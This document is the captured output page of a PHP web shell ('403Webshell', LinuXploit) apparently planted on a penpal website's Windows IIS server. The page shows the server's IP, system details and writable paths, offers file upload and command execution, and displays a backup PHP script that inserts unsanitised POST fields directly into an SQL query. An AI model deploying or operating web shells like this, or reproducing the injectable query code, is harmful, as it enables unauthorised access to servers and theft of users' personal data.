403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpal/backup/migrationpenpal.php
<?php

include "general.php";
include "connect.php";

if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    header('Access-Control-Allow-Origin : *');
    header('Access-Control-Allow-Methods : POST, GET, OPTIONS, PUT, DELETE');
    header('Access-Control-Allow-Headers : *');
    exit;
}

function rand_string2( $length ) {
		$chars = "0123456789";	
		$str ="";
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	


//$response = array();

$name =$_POST["name"];
$email =$_POST["email"];
$phonenumber =$_POST['phonenumber'];
$location =$_POST["location"];
$profileMessage =$_POST["profileMessage"];
$country =$_POST["country"];
$gender =$_POST["gender"];
$birthDate =$_POST["birthDate"];
$photo_url1 =$_POST["photo_url1"];
$domain=$_POST["domain"];
$emailverified=$_POST["emailverified"];
$lastSeen=$_POST["lastSeen"];
$photoUpload=$_POST["photoUpload"];
$userToken=$_POST["userToken"];
$userType=$_POST["userType"];
$dateCreated=$_POST["dateCreated"];






date_default_timezone_set('africa/lagos');



	$query ="insert into penpal (name,phonenumber,email,emailcode,country,location,gender,birthDate,photo_url1,profileMessage,emailverified,lastSeen,photoUpload,userToken,userType,dateCreated,migrated,domain) VALUES
	('$name','$phonenumber','$email','$emailcode','$country','$location','$gender','$birthDate','$photo_url1','$profileMessage','$emailverified','$lastSeen','$photoUpload','$userToken','$userType','$dateCreated','1','$domain')";

	$queryresponse = updateQuery($query);
        echo $queryresponse;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit